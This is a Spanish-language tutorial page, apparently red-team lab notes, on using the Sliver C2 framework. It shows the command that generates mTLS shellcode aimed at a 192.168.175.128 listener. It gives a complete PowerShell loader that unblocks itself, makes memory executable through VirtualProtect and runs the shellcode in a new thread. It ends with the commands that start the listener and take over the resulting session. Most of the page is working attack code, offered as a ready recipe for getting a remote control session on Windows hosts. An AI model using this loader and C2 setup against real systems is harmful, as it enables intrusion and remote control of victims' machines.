sliver-server


Shellcode con Sliver C2


Explicación:

  • sliver-server generate: Comando para generar un payload

  • --mtls 192.168.175.128:443: Configura el payload para conectarse al servidor C2 via mTLS (mutual TLS) en la IP 192.168.175.128 puerto 443

  • --format shellcode: Especifica que el output debe ser en formato shellcode crudo

Resultado esperado:

  • Se genera un archivo binario con el shellcode (probablemente con extensión .bin)

2. Script PowerShell para Ejecución del Shellcode

# Desbloquear el archivo para evitar la advertencia de seguridad
Unblock-File -Path $MyInvocation.MyCommand.Path

# Ruta al archivo binario
$binPath = "C:\Users\las\Desktop\LIVELY_RELATION.bin"

# Leer los bytes del archivo binario
$sc = [System.IO.File]::ReadAllBytes($binPath)

# Reservar memoria para el shellcode
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)

# Copiar los bytes en la memoria reservada
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $ptr, $sc.Length)

# Establecer permisos de ejecución
$oldProtect = 0
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@

# Cambiar los permisos de la memoria para que sea ejecutable
[Kernel32]::VirtualProtect($ptr, $sc.Length, 0x40, [ref]$oldProtect)

# Crear un hilo y ejecutar el shellcode
$threadId = 0
$hThread = [Kernel32]::CreateThread([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [ref]$threadId)

# Esperar a que termine la ejecución (espera indefinida)
[Kernel32]::WaitForSingleObject($hThread, [UInt32]::MaxValue)

Flujo de ejecución:

  1. Desbloquea el script para evitar restricciones de seguridad

  2. Lee el shellcode desde el archivo binario

  3. Reserva memoria no administrada

  4. Copia el shellcode a la memoria reservada

  5. Define las funciones de la API de Windows necesarias

  6. Cambia los permisos de memoria para permitir ejecución

  7. Crea un nuevo hilo que ejecuta el shellcode

  8. Espera indefinidamente a que termine la ejecución

3. Configuración del Listener en Sliver

  • A la escucha:

mtls --lhost 192.168.175.128 --lport 443

Explicación:

  • Configura un listener mTLS en la IP 192.168.175.128 puerto 443

  • Debe coincidir con la IP/puerto especificados al generar el shellcode

4. Verificación y Ejecución

Download

jobs        # Verifica los listeners activos
.\script.ps1  # Ejecuta el script PowerShell
use <ID>    # Interactúa con la sesión establecida (reemplaza <ID> con el ID de sesión)

Last updated